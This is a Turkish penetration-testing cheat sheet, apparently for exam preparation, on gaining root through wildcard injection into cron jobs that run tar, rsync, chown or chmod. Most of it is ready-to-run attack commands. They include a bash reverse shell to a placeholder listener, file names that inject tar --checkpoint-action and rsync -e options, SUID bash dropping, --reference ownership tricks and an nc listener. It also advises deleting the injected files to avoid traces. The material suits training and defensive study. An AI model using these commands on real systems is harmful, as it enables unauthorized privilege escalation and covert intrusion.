FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE zor

Wildcard Injection — tar checkpoint, rsync -e, chown/chmod --reference

Root tarafından çalışan ve wildcard (*) içeren tar/rsync/chown/chmod komutlarına dosya adı yoluyla argüman enjekte et: tar --checkpoint-action ile komut çalıştır, rsync -e ile shell, --reference ile sahip/izin manipülasyonu.

Bilgi: ÖN KOŞULLAR
  • Root tarafından çalışan wildcard'lı bir komut/script (genelde cron job)
  • Hedef dizinde dosya oluşturma yetkisi
┌──

Komutlar

cat ✓ EXAM-SAFE user
cat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.daily/
Root'un çalıştırdığı cron job'larını incele; tar/rsync/chown/chmod + wildcard kombinasyonu ara. HackTricks — Linux Privilege Escalation (Wildcards Spare tricks)
pspy ✓ EXAM-SAFE user
./pspy64 -pf -i 1000
Root süreçlerini canlı izleyerek wildcard'lı (örn. 'tar czf backup.tar.gz *') komutları yakala. HackTricks — Linux Privilege Escalation (pspy / process monitoring)
bash ✓ EXAM-SAFE user
echo 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1' > /path/backup/shell.sh
tar checkpoint tarafından çalıştırılacak reverse shell script'ini hedef dizine yaz. HackTricks — Linux Privilege Escalation (tar wildcard injection)
touch ✓ EXAM-SAFE user
cd /path/backup && touch ./--checkpoint=1 && touch ./'--checkpoint-action=exec=sh shell.sh'
tar'ın 'tar czf x.tar.gz *' içindeki * ile bu dosya adlarını argüman olarak yorumlamasını sağla; checkpoint-action ile shell.sh çalışır. HackTricks — Linux Privilege Escalation (tar --checkpoint-action)
touch ✓ EXAM-SAFE user
cd /path/backup && echo 'sh shell.sh' > runme.sh && touch './--checkpoint-action=exec=sh runme.sh' && touch ./--checkpoint=1
Argüman içinde boşluk sorunu yaşanan ortamlar için checkpoint-action'ı ayrı bir runme.sh üzerinden tetikle. PayloadsAllTheThings — Linux Privilege Escalation (Wildcards / tar)
bash ✓ EXAM-SAFE user
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /path/backup/x.sh
Reverse shell yerine yerel SUID bash dropping tercih edilirse tar checkpoint ile çalıştırılacak script. HackTricks — Linux Privilege Escalation (tar wildcard, SUID bash)
touch ✓ EXAM-SAFE user
cd /path/src && touch ./'-e sh shell.sh'
Root 'rsync -avz src/* dest/' çalıştırıyorsa, -e ile uzak shell argümanı enjekte ederek shell.sh'i tetikle. HackTricks — Linux Privilege Escalation (rsync wildcard / -e)
bash ✓ EXAM-SAFE user
cd /path/dir && touch ./--reference=/path/to/owned_file && touch attacker_target
Root 'chown -R user:group *' çalıştırıyorsa --reference ile sahip bilgisini kontrol ettiğin dosyaya zincirle (chown reference injection). HackTricks — Linux Privilege Escalation (chown --reference)
bash ✓ EXAM-SAFE user
cd /path/dir && touch ./--reference=/path/world_writable_perm_file
Root 'chmod -R 644 *' çalıştırıyorsa --reference ile izinleri kontrol ettiğin bir dosyaya bağla; hedef dosyaların iznini manipüle et. HackTricks — Linux Privilege Escalation (chmod --reference)
nc ✓ EXAM-SAFE user
nc -lvnp {{LPORT}}
tar/rsync checkpoint reverse shell'i tetiklendiğinde root bağlantısını dinle. HackTricks — Reverse Shell / Linux PrivEsc

Genel Bakış

Wildcard injection, root tarafından çalıştırılan bir komut argümanlarını glob (*) ile genişlettiğinde ortaya çıkar. Saldırgan, çalışma dizininde dosya adı olarak bir komut-satırı flag’i (örn. --checkpoint-action=) oluşturur; shell glob’u genişletince bu dosya adı argüman olarak komuta geçer. Genelde bir cron job veya backup script’i üzerinden tetiklenir.

Enumeration

Önce tetikleyiciyi bul. /etc/crontab, /etc/cron.d/, /etc/cron.daily/ içinde tar ... *, rsync ... *, chown -R ... *, chmod -R ... * gibi pattern’ler ara. Cron görünür değilse pspy (pspy64 -pf) ile root süreçlerini canlı izle; periyodik çalışan wildcard’lı komutu yakalarsın. Kritik koşul: o komutun çalıştığı dizinde dosya oluşturma yetkin olmalı.

Exploitation — tar —checkpoint-action

En yaygın senaryo tar czf backup.tar.gz *. Hedef dizinde şu dosyaları oluştur:

  • --checkpoint=1 (her record sonrası checkpoint)
  • --checkpoint-action=exec=sh shell.sh
  • shell.sh (içinde reverse shell ya da cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash)

Glob * bu dosya adlarını tar’a argüman olarak verir; tar checkpoint’e ulaşınca shell.sh’i root olarak çalıştırır. Boşluk/parsing sorunu olursa action’ı ayrı bir runme.sh üzerinden çağır.

Exploitation — rsync -e

Root rsync -avz src/* dest/ çalıştırıyorsa, src içinde -e sh shell.sh adlı bir dosya oluştur. rsync -e flag’ini remote-shell olarak yorumlar ve script’i tetikler. GTFOBins rsync sayfası referans olarak kullanılabilir.

Exploitation — chown/chmod —reference

Bunlar shell vermez ama dosya sahibi/izinlerini manipüle eder. Root chown -R www-data:www-data * çalıştırıyorsa, dizine --reference=<senin_kontrol_ettiğin_dosya> adlı bir dosya koy; chown tüm hedeflerin sahipliğini o referans dosyanın sahibine eşitler. Benzer şekilde chmod -R --reference= ile bir SUID/yazılabilir hedefin iznini değiştirip ikinci aşamada SUID bash veya yazılabilir passwd elde edebilirsin.

Notlar / Gotchas

  • Dosya adındaki -- ile başlayan isimleri oluştururken her zaman ./ prefix kullan (touch ./--checkpoint=1) yoksa touch flag sanıp hata verir.
  • Cron periyodunu bekle; pspy ile gerçek tetiklenmeyi doğrula. Erken tetiklenmezse zamanlama yanlıştır.
  • Reverse shell yerine SUID bash dropping sınavda daha güvenilirdir (ağ/firewall bağımlılığı yok): tetiklendikten sonra /tmp/rootbash -p.
  • chown/chmod reference injection iki aşamalıdır: önce izin/sahip değiştir, sonra o yeni durumu (SUID, writable passwd) ayrı bir teknikle istismar et — tek başına root vermez.
  • İş bitince enjekte ettiğin dosya adlarını sil; cron loglarında iz bırakır.
┌──

Kaynaklar

0/15 set